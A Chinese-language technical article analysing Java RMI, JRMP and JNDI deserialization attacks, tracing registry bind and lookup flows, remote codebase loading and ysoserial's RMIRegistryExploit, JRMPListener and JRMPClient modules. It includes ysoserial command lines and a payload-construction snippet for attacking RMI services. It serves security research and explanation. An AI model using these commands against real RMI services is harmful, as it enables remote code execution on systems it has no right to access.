您好,登錄后才能下訂單哦!
Java中怎么遠程調用RMI,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互。
JRMP
Java遠程方法協議(英語:Java Remote Method Protocol,JRMP)是特定于Java技術的、用于查找和引用遠程對象的協議。這是運行在Java遠程方法調用(RMI)之下、TCP/IP之上的線路層協議。
RMI
Java遠程方法調用,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。遠程方法調用特性使Java編程人員能夠在網絡環境中分布操作。RMI全部的宗旨就是盡可能簡化遠程接口對象的使用。
JDK關鍵版本
RMI Serialization Attack
注意:此Demo沒有版本限制,但部分邏輯會由于版本原因造成出入。
Demo
with JDK 1.8.0_151
with java-rmi-server/ rmi.RMIServer、Services、PublicKnown
with java-rmi-client/ rmi.RMIClient、Services、ServicesImpl、PublicKnown
PS:低版本無法在RegistryImpl_Skel下有效斷點。
分析
兩種 bind 區別
Server <-> RMI Registry <-> Client
server 通過 bind 注冊服務時會進行序列化傳輸服務名&Ref,因此會進入RegistryImpl_Skel.dispatch先經過反序列化獲取。
Server(RMI Registry) <-> Client
這種模式下,由于 server 與 Registry 是同一臺機器,在 bind 注冊時由于 server 上已有其 Ref,因此不需要序列化傳輸,只需要在 bindings list 中添加對應鍵值即可。
注冊、請求流程
RMI Registry 的核心在于 RegistryImpl_Skel。當Server執行bind、Client執行lookup時候,均會通過sun.rmi.registry.RegistryImpl_Skel#dispatch進行處理。
bind
首先注意到ServiceImpl繼承了UnicastRemoteObject,在實例化時會通過exportObject創建返回此服務的stub。
public class ServiceImpl extends UnicastRemoteObject implements Service {...}/*** Exports the specified object using the specified server ref.*/private static Remote exportObject(Remote obj, UnicastServerRef sref)throws RemoteException{// if obj extends UnicastRemoteObject, set its ref.if (obj instanceof UnicastRemoteObject) {((UnicastRemoteObject) obj).ref = sref;}return sref.exportObject(obj, null, false);}
再通過bind向RMI Registry服務器申請注冊綁定服務名&stub跟入到sun.rmi.registry.RegistryImpl_Stub#bind,注意觀察到向RMI Registry申請時,第三個參數對應 operations 里的操作。
這里尤其注意的兩個 writeObject,分別向 var3 的輸出流中寫入序列化后的服務名&stub。
RMI Registry收到申請時會進行會通過傳入的操作值進入相關流程,0時進入bind,注意到兩次 readObject 分別反序列化獲取服務名&stub后,再向 bindings List 中寫入鍵值。
這里就引出來了一個點:Server 通過向 RMI Registry 申請 bind 操作進行序列化攻擊。
lookup
再看Client向RMI Registry申請lookup 查找時候(sun.rmi.registry.RegistryImpl_Stub#lookup)傳遞的操作數為 2,且反序列化了目標服務名。
RMI
Registry(sun.rmi.registry.RegistryImpl_Skel#dispatch)這邊同樣會先反序列化獲取查詢服務名,再從 bindings list 中進行查詢。
這里就引出來了另一個點:Client 通過向 RMI Registry 申請 lookup 操作進行序列化攻擊。
但是就完了么?
我們再往下看,注意到 86 行出現的 writeObject,這里是將查詢到的stub序列化傳輸給 Client。
回到 Client 的代碼中,可以看到104 行的 readObject。
這里就引出來了第三個點:RMI Registry 通過 lookup 操作被動式攻擊 Client。
調用時序列化
現在我們理清了bind、lookup的部分內容,那么 client 是如何實現遠程調用呢?
通過跟進后可以看到由
java.rmi.server.RemoteObjectInvocationHandler實現的動態代理,并最終由sun.rmi.server.UnicastRef#invoke實現調用。
在調用中我們注意到通過marshalValue打包參數,由unmarshalValue對傳回的內容進行反序列化。
限制
這里的 Demo 實際情況中很難遇到,因為evil是我們根據已知的Services、PublicKnown(含已知漏洞)生成的,在攻擊時更多都是采用本地 gadget。
攻擊方向
注意到我們上面提出了三個攻擊向。
1.Server 通過向 RMI Registry 申請 bind 操作進行序列化攻擊;
2.Client 通過向 RMI Registry 申請 lookup 操作進行序列化攻擊;
3.RMI Registry 通過 lookup 操作被動式攻擊 Client。
其實注意到第一個點里提到的 Server 并不是要求一定要由目標服務器發起,比如任意一臺(包括攻擊者)均可以向注冊中心發起注冊請求進而通過 bind 在 RMI Registry 上進行攻擊,例如:
Client -- bind --> RMI Registry(Server)
同理第二點、第三點里也是,所以我們更新一下:
1.向 RMI Registry 申請 bind 操作進行序列化攻擊;
2.向 RMI Registry 申請 lookup 操作進行序列化攻擊;
3.RMI Registry通過lookup操作被動式序列化攻擊請求者。
bind - RMIRegistryExploit
with JDK 1.7.0_17
with java-rmi-server/ rmi.RMIServer2
with ysoserial.exploit.RMIRegistryExploit
ysoserial.exploit.RMIRegistryExploit實際對應bind攻擊方向,我們來簡單看下它的代碼。
核心在于兩點,對于第一點可以看看 cc1 分析以及Java動態代理-實戰這篇。
sun.reflect.annotation.AnnotationInvocationHandler動態代理Remote.class
bind 操作
這里提一下為什么需要動態代理,是由于在sun.rmi.registry.RegistryImpl_Skel#dispatch,執行bind時會通過Remote.readObject反序列化,導致調用
AnnotationInvocationHandler.invoke。
codebase傳遞以及useCodebaseOnly
RMI有一個重要的特性是動態類加載機制,當本地CLASSPATH中無法找到相應的類時,會在指定的codebase里加載class,
需要java.rmi.server.useCodebaseOnly=false,但是這個特性是一直開啟的,直到6u45、7u21修改默認為 true 以防御攻擊。
這里引用官方文檔 Enhancements in JDK 7:
如果RMI連接一端的JVM在其java.rmi.server.codebase系統屬性中指定了一個或多個URL,則該信息將通過RMI連接傳遞到另一端。如果接收方JVM的java.rmi.server.useCodebaseOnly系統屬性設置為false,則它將嘗試使用這些URL來加載RMI請求流中引用的Java類。
從由RMI連接的遠程端指定位置加載類的行為,當被禁用
java.rmi.server.useCodebaseOnly被設定為true。在這種情況下,僅從預配置的位置(例如本地指定的
java.rmi.server.codebase屬性或本地CLASSPATH)加載類,而不從codebase通過RMI請求流傳遞的信息中加載類。
demo
Client 攻擊 Server
with JDK 1.7.0_17
with java-rmi-server/rmi.RMIServer2
with java-rmi-client/rmi.RMIClient2、remote.RemoteObject
若 Client 指定了 codebase 地址,Server 加載目標類時會現在本地 classpath 中進行查找,在沒有找到的情況下會通過 codebase 對指定地址再次查找。
為了能夠遠程加載目標類,需要Server加載并配置RMISecurityManager,并同時設置:
java.rmi.server.useCodebaseOnly=false
在傳輸了 codebase 之后是如何調用的呢?
也是由動態代理類
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod實現遠程調用。
Server 接收到調用指令后,進入
sun.rmi.server.MarshalInputStream#resolveClass,
由于 useCodebaseOnly 為 false,從客戶端指定地址遠程讀取目標類。
全部讀取完畢后回到
java.io.ObjectInputStream#readOrdinaryObject,
調用
java.io.ObjectStreamClass#initNonProxy進行實例化。
Server 攻擊 Client
with JDK 1.7.0_17
with java-rmi-server/rmi.RMIServer3、remote.RemoteObject2
with java-rmi-client/rmi.RMIClient3
可以對比看到,從sun.rmi.server.UnicastRef#invoke起是一致的邏輯,只是上層調用來源不一樣,不再贅述。
區別攻擊方向
方法調用請求均來自 Client。
但區別的產生在于
sun.rmi.server.UnicastRef#invoke(java.rmi.Remote,java.lang.reflect.Method,java.lang.Object[], long)處的邏輯代碼。
line 79: Client 攻擊 Server,在于讓 Server 請求遠程 Class 產生結果,由于本地同名惡意類安全所以不會對本地造成攻擊。
line 89: Server 攻擊 Clinet,在于 Client 獲取到安全結果后需要獲取遠程 Class 進行本地反序列化導致被攻擊。
with JDK 1.7.0_80
with java-rmi-server/rmi.RMIServer2
看情況取舍:
上面說的RMI通信過程中假設客戶端在與RMI服務端通信中,雖然也是在JRMP協議上進行通信,嘗試傳輸序列化的惡意對象到服務端,此時服務端若也返回客戶端一個惡意序列化的對象,那么客戶端也可能被攻擊,利用JRMP就可以利用socket進行通信,客戶端直接利用JRMP協議發送數據,而不用接受服務端的返回,因此這種攻擊方式也更加安全。
這里我們針對 ysoserial 的幾個相關 Class 進行分析,首先先列舉下相關的作用。
payloads.JRMPListener 在目標服務器目標端口上開啟JRMP監聽服務 - 獨立利用
payloads.JRMPClient 向目標服務器發送注冊 Ref,目標 exploit.JRMPListener 地址
exploit.JMRPListener 被動向請求方傳輸序列化 payload
exploit.JRMPClient 主動向目標服務器傳輸序列化 payload
除此之外,我們還需要了解下關于DGC的一些內容,以便理解下面的內容。
RMI.DGC 為 RMI 分布式垃圾回收提供了類和接口。當 RMI 服務器返回一個對象到其客戶機(遠程方法的調用方)時,其跟蹤遠程對象在客戶機中的使用。當再沒有更多的對客戶機上遠程對象的引用時,或者如果引用的“租借”過期并且沒有更新,服務器將垃圾回收遠程對象。
payloads.JRMPListener
在了解之前,我們先看下JAVA原生序列化有兩種接口實現。
1.Serializable接口:要求實現writeObject、readObject、writeReplace、readResolve
2.Externalizable接口:要求實現 writeExternal、readExternal
分析
回到JRMPListener中,代碼很簡單,主要功能就是生成一個開啟目標端口進行監聽RMI服務的payload。
我們首先跟入到
ysoserial.payloads.util.Reflections#createWithConstructor,了解下函數邏輯。
1.先查找RemoteObject下參數類型為 RemoteRef 的構造器。
2.根據找到的構造器為ActivationGroupImpl動態生成一個新的構造器并生成實例。
為什么需要這樣呢?其實就是為了避免調用ActivationGroupImpl本身的構造方法,避免復雜的或其他不可控的問題。
我們關注下UnicastRemoteObject在序列化階段做了什么,從reexport跟入到exportObject,創建監聽并返回此 stub。
另外,通過上面的分析實際上我們只用需要UnicastRemoteObject就足夠開啟監聽利用,下面兩種也可以,但好奇為什么作者要通過子類轉換實現利用呢?
ActivationGroupImpl uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});UnicastRemoteObject uro = Reflections.createWithConstructor(UnicastRemoteObject.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});
利用
java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPListener <new_listener_port>java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <new_listener_port> <payloads> <args[]>
payloads.JRMPClient
分析
作為 payloads 核心代碼依舊不是很多,生成 ref 并封裝到 handler,動態代理Registry類。
實際上,對于 ClassLoader 我們是可以設置為 Null,這個問題可以通過上面的資料鏈接回答。
至于為什么強轉為 Registry ?只是因為我們動態代理了這個類,集成了需要代理類的各種方法,在不調用這些方法時替換成任意 Object 子類均可。
現在我們看下代碼邏輯:
當我們傳遞一個 proxy 準備序列化時,大意上同樣會對其成員進行序列化(這里不展開,需要自己看序列化),所以會調用其父類 RemoteObject.readObject()
注意到最后會調用 readExternal 方法,原因已在上文提到。
這里便會調用
sun.rmi.server.UnicastRef#readExternal,
之后進入
sun.rmi.transport.LiveRef#read,
但這里并不能進入到 DGCClient 注冊,但會把 ref 信息存入到
ConnectionInputStream.incomingRefTable中。
在最后釋放輸入連接時,會對incomingRefTable中的 ref 進行注冊。
為什么要這么做呢?java 注釋寫有,詳細內容沒有查到。
/*** Save reference in order to send "dirty" call after all args/returns* have been unmarshaled. Save in hashtable incomingRefTable. This* table is keyed on endpoints, and holds objects of type* IncomingRefTableEntry.*/
而在sun.rmi.transport.DGCImpl_Skel#dispatch中也是類似注釋中的流程。
回到 ref 注冊,實際是會在 DGCClient 中對 refs 進行注冊。
然后對傳輸過來的數據直接進行反序列化解析,這里的內容放在
exploit.JRMPListener中講解。
所以整個流程分析下來,并沒有看到需要使用動態代理的地方,因此生成 payload 時直接序列化傳輸RemoteObject子類也就足夠,而原生自帶的容易控制的子類為RemoteObjectInvocationHandler,即:
利用
payloads.JRMPClient 是要配合 exploit.JRMPListener 一起使用的。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPClient <listener_ip>:<listener_port>
exploit.JRMPListener
分清兩個JRMPListener的區別
payloads.JRMPListener 在目標機上開啟 JMRP 監聽
exploit.JRMPListener 實現對 JRMP Client 請求的應答
分析
從 Main 可以看到基本邏輯就是開啟監聽 JRMP 端口等待連接后傳輸惡意 payload。
在監聽時對協議進行解析,對為 StreamProtocol、SingleOpProtocol 的連接均會通過 doMessage 進行應答。
而在 doMessage 中對遠程RMI調用發送 payload 數據包。
那么 payload 是填充到哪里了呢?
注意到 doCall 函數中的這段代碼,和 cc5 的入口點是一樣的。
但需要注意的是,BadAttributeValueExpException.readObject的觸發點不一定是 valObj.toSting(),這里在調試的時候出現了一堆莫名其妙的現象。
拋開后續的利用,我們從開始看下目標是如何向 JRMPListener 請求的。
會向 DGCClient 中進行注冊 Ref,通過80請求、81應答進行傳輸,這里可以關注下調用棧,結合上面 DGC 內容進行了解。
那么 80 是如何出現的呢?
看到StreamRemoteCall初始化時會直接往第一個字節寫入 80。
接著目標會讀取 Listener 傳遞的值對之后的內容選擇是否進行反序列化,反序列化的內容就和上面連接起來了。
額外提一下,var1在這里的意義是用來判斷Listener是否為正常返回,如果因為某些原因在 Listener 端產生了異常報錯需要將報錯信息傳遞回請求端,而傳遞的信息是序列化的所以會在請求端觸發反序列化。
利用
本身無法直接利用的,需要向目標機發送 payloads.JRMPClient 以被動攻擊。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>
exploit.JRMPClient
分清兩個 JRMPClient 區別,以及 RMIRegistry
Exploit
payloads.JRMPClient 向目標DGC注冊Ref
exploit.JRMPClient 向目標DGC傳輸序列化 payload
exploit.RMIRegistryExploit 向目標RMI.Registry傳輸序列化 payload,目標為 RMI.Registry 監聽端口
下面是payloads.JRMPListener和RMI.Registry 開啟的監聽端口在nmap掃描下的不同信息:
exploit.JRMPClient 可以對兩者進行攻擊;
exploit.RMIRegistryExploit只能攻擊后者。
分析
先在sun.rmi.server.UnicastServerRef#dispatch中讀取 Int 數據。
然后在
sun.rmi.server.UnicastServerRef#oldDispatch中讀取 Long 數據。
之后進入sun.rmi.transport.DGCImpl_Skel#dispatch,先對讀取的 Long 數據即接口 hash 值進行判斷是否為相同。
再根據之前讀取的 Int 數據進行相應的處理。
利用
java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <rmi_port> <payloads> <args[]>
關于 JNDI 的內容已在整篇文章開頭有涉及,此處暫時無額外需求。
demo
with JDK 1.7.0_17
with jndi\rmi.RMIClient、rmi.RMIServer
分析
我們跟進Client執行lookup后看看發生了什么。
同樣也是Client向Server請求查詢test_service對應的 stub,再執行到 com.sun.jndi.rmi.registry.RegistryContext#decodeObject中獲取目標類的 ref。
之后帶入 ref 到
javax.naming.spi.NamingManager#getObjectInstance中進行遠程工廠類的加載(所以Server 端 new Reference 時的第一個 class 參數隨便寫不影響)。
這樣就是在 Client 執行 lookup 操作時讓其直接加載遠程惡意類進行 RCE,不需要任何其他的 gadget。
防御
受到自6u141、7u131、8u121起默配置com.sun.jndi.rmi.object.trustURLCodebase=false,直接遠程加載會被限制,報錯信息如下:
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。